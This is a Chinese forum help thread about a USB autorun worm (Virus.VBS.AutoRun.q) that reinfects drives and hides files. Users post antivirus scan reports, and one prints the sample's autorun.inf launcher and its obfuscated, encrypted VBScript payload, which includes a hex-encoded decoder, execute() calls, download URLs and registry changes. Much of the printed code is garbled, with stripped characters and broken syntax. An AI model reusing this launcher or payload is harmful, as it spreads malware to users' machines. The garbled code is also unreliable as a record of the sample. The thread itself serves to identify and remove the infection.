卡巴不能删干净!郁闷中!MD5: A7E5BA

tiancun

一插上就报告有毒~        ：病毒 Virus.VBS.AutoRun.q 文件: C:\WINDOWS\`.vbe
删除之后，他仍然会自动隐藏受保护的系统文件~~
单并没发现什么毒~~U盘中只剩下autorun.inf文件，拔出来再插上去，卡巴又报，但是病毒文件又到D盘：“已检测到: 病毒 Virus.VBS.AutoRun.q 文件: C:\WINDOWS\SYSTEM32\`.VBE

我 把在SYSTEM32下生成的文件找出来了~发在这里~

压缩包外面是他生成的两个文件以及U盘下的autorun.inf文件，里面的压缩包是`.vbs


大家帮忙看一下~`

残缺的唯美

咖啡开始杀autorun.inf=。=

qigang

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Trojan.Script.VBS.Agent.d

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.17.12

SONGBOWEN

先放一个扫描报告～

卡巴7：
检测到：病毒 Virus.VBS.AutoRun.q        文件: C:\Documents and Settings\Administrator\My Documents\下载的文件\样本.rar/新样本.rar/`.vbe

小红伞：
Begin scan in 'C:\Documents and Settings\Administrator\My Documents\下载的文件\样本.rar'
C:\Documents and Settings\Administrator\My Documents\下载的文件\样本.rar
  [0] Archive type: RAR
    --> ÐÂÑù±¾.rar
      [1] Archive type: RAR
      --> `.vbe
          [DETECTION] Contains suspicious code HEUR/Exploit.HTML
      [WARNING]   The file was ignored!

BitDefender 2008：飘～

tiancun

我卡巴6   杀了！！也不在说有毒了~~就是他会不停的隐藏我的文件~~

SONGBOWEN

`.lnk文件的内容：

1. 203
   
2. 2007-11-4

复制代码

SONGBOWEN

`.url文件的内容：

1. Gover7.2
   
2. [autorun]
   
3. 0
   
4. open=wscript.exe .\`.vbs
   
5. 0
   
6. shell\open=打开(&o)
   
7. 0
   
8. shell\open\command=wscript.exe .\`.vbs
   
9. '
   
10. shell\open\default=1
    
11. 0

复制代码

SONGBOWEN

autorun.inf文件的内容：

1. Gover7.2
   
2. [autorun]
   
3. 0
   
4. open=wscript.exe .\`.vbs
   
5. 0
   
6. shell\open=打开(&o)
   
7. 0
   
8. shell\open\command=wscript.exe .\`.vbs
   
9. 0
   
10. shell\open\default=1
    
11. 0

复制代码

好像和上一个文件（`.url）里边的内容一样……
但是两个文件的MD5不同……

tiancun

就是说那个ATOURUN。INF基本没什么作用？？？

SONGBOWEN

`.vbe文件的内容是经过加密的，原文如下：

1. '7.2
   
2. O1="'2.7((=|2.7|}{
   =|`|}{
   =|`.|}{=|`.|}{=|G|&}{
   =(659)&(661)&(661)&(667)&|://|&|2.|&(09)&(09)&(93)&|5.|&(658)&|/27.|&(42)&||&(667)}{
   7=(659)&(661)&(661)&(667)&|://|&|1.|&(05)&(05)&(01)&|3.|&(658)&|/27.|&(42)&||&(667)}{'   }{ }{ =(|.|)}{
   =(|.
   |)}{ =
   .
   (6)}{ =
   .
   (5)}{ =
   .}{=.}{=
   .
   (7)&|\|}{=
   .
   (6)&|\\|}{=
   (.
   ,(.
   )-(.))}{
   =&|\|  =)): 
   ():((   }{
   
   .
   (&|\|&)  
    &|\|&,5&
   &}{=(&|\|&,6)}{=(&|\|&,7)}{
   =|_
   |   IN()   ()  
    &|\|&,5&
   &}{
    &|\|&,(+6)&
   &}{=(|.|,6)  (|.|,6)}{
   (&|\|&,6)>855  -()>7   }{=(&|\|&
   ,8)}{
   =||  =5}{=6}{=||}{  <>|<>|}{
   =7  =8 }{7=
   (&|.|,
   7&|?=|&,5,6,655)}{=(&|.|,6)}{
   =6  =9 }{6=
   (&|.|,
   &|?=|&,5,6,655)}{=(&|.|,6)}{ 
   }{=+6}{
   >9 }{
   6=6  7=6  =6}{ }{ 
   }{}{
   
   .
   (&|.|) }{ 
   =
   .
   (&|.|, 6)  }{=
   .}{=
   .}{=
   .}{
   =
   .}{=
   .}{=
   .}{=
   .}{
   =
   .}{=
   .}{=
   .}{= 
   .}{= 
   .}{
   .}{
   (&|.|)}{
   =|<>| }{
    &|\|&,5&
   &}{
   6,,,,,}{
   <>  
   .
   (&|\|&
   &|.|) }{
    &|\|&,
   ,,8,7555}{.}{ 
   }{
   =6   }{
   <>  
   .
   (&) }{
    &}{
    &,
   ,6,8,7555}{ 
   }{ 
   }{ 
   }{ 
   }{ 
   }{
       =6)): : ():((
   
   .
   ()  }{ ,5}{
   .
   ()}{ 
   }{
   
   .
   () }{ ,5}{
   .
   ()}{ 
   )): : (,):((
    }{ =
   .
   (, )}{. }{.}{ ,7+9)): : (,
   ,,
   
   ,
   ,):((
   =5 }{
   =&|\|&
   }{}{
   =&
   }{ 
   }{
    
   }{ =
   .
   (
   , )}{. }{. |[]|}{. }{. |=. .\|&
   &|.|}{. }{. |\=打开(&)|}{. }{. |\\=. .\|&
   &|.|}{. }{. |\\
   =6|}{. }{.}{ 
   ,6+7+9)): : (,):((
   <5  =.
   }{
   
   .
   () }{
   
   .
   ().=5 }{=|_
   |}{}{ 
   =
   .
   (, 6)}{ =
   .
   (, 6)}{.}{=.}{.}{
   >5   <= }{=5 }{  <}{=+6}{
    
   .
    }{=
   .}{}{=|_
   |}{ 
   }{}{=}{
   <=5 }{=
   .}{}{=|_
   |}{ 
   }{
   .}{ 
   }{}{=|_
   |}{ 
   )): :
   (,):((
   
   .
   (
   ) }{ 
   =
   .
   (
   ) }{
   .=}{ 
   =}{ 
   }{
   
   .
   (
   ) }{ 
   =
   .
   (
   )}{
   .=}{ 
   =}{ 
   )): : (,,,
   ,
   )((=5}{  <}{ 
   ,5}{ = (
   ): = (
   ):}{'
   6=7  . |!|}{  = (|
   .|)  }{'
   6=7  . |!|}{. ||,,5 }{'
   6=7  . |!|}{   }{.()}{
     }{
   =6}{'
   6=7  . |!|}{  = (|.|) }{'
   6=7  . |!|}{. = 8 }{'
   6=7  . |!|}{. = 6  }{'
   6=7  . |!|}{.()  }{'
   6=7  . |!|}{.(.)  }{'
   6=7  . |!|}{.
    ,7 }{'
   6=7  . |!|}{ 
   ,7+9}{
   
   .
   (
   ) }{
   =
   .
   (
   ).}{}{
   =5}{ 
   }{
   
   > }{
   
   =6  . 
   }{ }{ 
   }{}{
   =5}{=+6}{
    
   }{. 8555}{ 
   }{)) : (,
   ):((   }{ =(|:\\.\\7|)}{ =.(| *
    87_  ='|&&|'|)}{=6 }{
       }{=+6}{}{
     }{
   >  =}{}{=6}{ 
   )):  () .=5 =
   
   .=   ()=1882117982791189023101820291073779112775148867509175910173177481689628187391419731771478674747771187177941175168868780750913101751688688777118717794117516886878875091310175168868577711871771411751688687897509131017516888897771187177141175168848175161197516886868575291310177711871771681678688777118717710128101411751688685847516119751688687887529131017771187177168167868877711871779011975941177711871772018820187181327731674777118717791023297774:= :=&(&:=):  ()>6: 
   ((,6))  =&&(,7)&:=(,8) 
    =&+(,9)+:=(,0):() ":function ucc(b):x="633D766243724C663A457865637574652822466F7220693D3120546F204C656E2862293A613D417363284D696428622C692C3129292226632622496620613D313237205468656E20613D31332226632622496620613D3131205468656E20613D31302226632622696620613D3132205468656E20613D33342226632622696620613E3D313420616E6420613C3D3331207468656E2226632622613D612B38332226632622656C7365696620613E3D3120616E6420613C3D38207468656E2226632622613D612B3131342226632622656C7365696620613E3D353320616E6420613C3D3537207468656E2226632622613D612D352226632622656C7365696620613E3D343820616E6420613C3D3532207468656E2226632622613D612B352226632622456E6420496622266326227563633D7563632B63687228612922266326224E6578742229":y="execute """"":z="&chr(&h":w=")":do while len(x)>1:if isnumeric(left(x,1)) then y=y&z&left(x,2)&w:x=mid(x,3) else y=y&z+left(x,4)+w:x=mid(x,5)
   
3. loop:execute(y):end function:O2="((  
   .FE(&|\|&
   &|.|)}{
   (()  60)=5  }{. 00555}{}{.))":O3="((
       }{
   =&|\|  =.(| |&,8,
   )}{}{
     }{. 0555}{
   (|.|,7)=6 }{
   (&|\.|,6)= () }{.}{}{
    &|\.|,}{ 
   }{ 
   }{
   (|.|,7)<>6  (|.|,7)  .}{ 
   }{
   }{
    }{}{
   (&
   ,6)<> }{
   6,5,5,5,5,5}{ 
   }{
   (&|\|&
   ,6)<> }{
   5,5,5,5,5,5}{ 
   }{=(&
   ,0)}{
   
   .
   (&) }{. &}{ 
   }{
   (&|\|&
   &|.|,6)<>|'|& }{ &|\|&
   &|.|}{}{ 
   }{
   (&|\|&
   &|.|,6)<>|'|& }{ &|\|&
   &|.|}{ 
   }{
   (&
   &|.|,6)<>|'|&  (&
   ,66)=6 }{
    &
   &|.|,(O6+O7)}{ 
   }{
   (&
   ,66)=7 }{
       }{
   .=7 }{
   
   .
   (&|/.
   |) }{
    &|/.
   |}{ 
   }{
   
   .
   (&|/.
   |) }{
    &|/.
   |}{ &|/.
   |,6+7+9}{ 
   }{ 
   }{}{ 
   }{}{. &}{}{ &,7+9}{ &|\|&
   &|.|}{ &|\|&
   &|.|}{}{. &|\|&
   &|.|}{ 
   )): 
   ():((   }{
   (&
   ,2)=6 }{(((&
   ,4)))}{ 
   )): : (,)((
    }{
   
   .
   (
   ) }{
   .
   
   ,,}{ 
   )): : 
   ():((
    }{ 
   =
   .
   (&,6)}{=
   .}{
   . }{ =
   .
   (, )}{. }{.}{ ,7+9)): : ():((RP=|HKEY_LOCAL_MACHINE\SOFTWARE\M
   \W\CV\\E\\| }{T_N=|REG_SZ|}{K_N=||}{K_D=
   &|.|}{W.RW RP&K_N,K_D,T_N)): : ():((RP=|HKEY_CURRENT_USER\S
   \M
   \W\CV\E\A\| }{T_N=|REG_DWORD|}{K_N=|SSH|}{K_D=|55555555| }{W.RW RP&K_N,K_D,T_N)): : ():((
   
   .
   () }{
   
   .
   (
   .
   ())  }{
   
   .
   ()}{ 
   }{
   .
   ()}{ 
   )): : (
   ,,,,,):((=(&|\|&
   ,8)}{ 
   <=}{=&|,|&
   }{
   =
   +6}{}{=&}{=S(,|,|)}{F =5 T U()}{
   =() }{
   
   .
   (&
   ) }{
    &
   ,|://|&
   ,5,7,7555}{ 
   }{ 
   }{}{
   =
   (
   ,))): : (
   ,,,):((
   
   .
   (&
   )  (,6) }{
    &
   ,|://|&
   ,5,7,8555}{ 
   }{=
   (
   ,))): : (,):((
   
   .
   (&
   ) }{
   <>5 }{=}{. |%% /  7557-|&()&|-|&(),}{. (*6555)}{ 
   }{. &
   }{
   =6}{
   >5 }{. 0555}{. |%% /  |&,}{ 
   }{ 
   )): : 
   (
   ,
   ):((
   (,6) }{   }{S =(|:\\.\\7|) }{S =. (| *
    87_  ='|&&|' |)}{
        }{.()}{}{
   =6  =6}{ 
   )): : ():((   }{}{
       }{
   .=8  (.=6  <>|A:|  <> |B:|) }{
   
   .
   (&|\.
   |) }{
    &|\.
   |}{ 
   }{
   
   .
   (&|\|&
   &|.|) 
   .
   (&|\.
   |) }{
   (&|\.
   |,6)<> }{
    &|\|&
   ,&|\.
   |}{
    &|\|&
   &|.|,&|\|&
   &|.|}{ 
   }{}{}{
    &|\|&
   ,&|\.
   |}{
    &|\|&
   &|.|,&|\|&
   &|.|}{ 
   }{ 
   }{}{
   (()  0)=5  <>6 }{=}{. 15555}{ 
   }{
   <>-6 }{}{ 
   }{. 8555}{)): : ():((
   (&,6)<>|'|& }{(|,!|)}{
    &}{.}{ 
   )): ":on error resume next:execute(ucc(O1+O3)):OO="For i=1 To Len(e):k=asc(mid(e,i,1)):If k=5 Then k=16:k=10:if k=8 Then:k=45:if k>81 and k<90 then:k=k+12:elseif k>89 and k<135 then:k=k-21:elseif k>39 and k<70 then:k=k+17:End If:e=e+chr(k):Next"

复制代码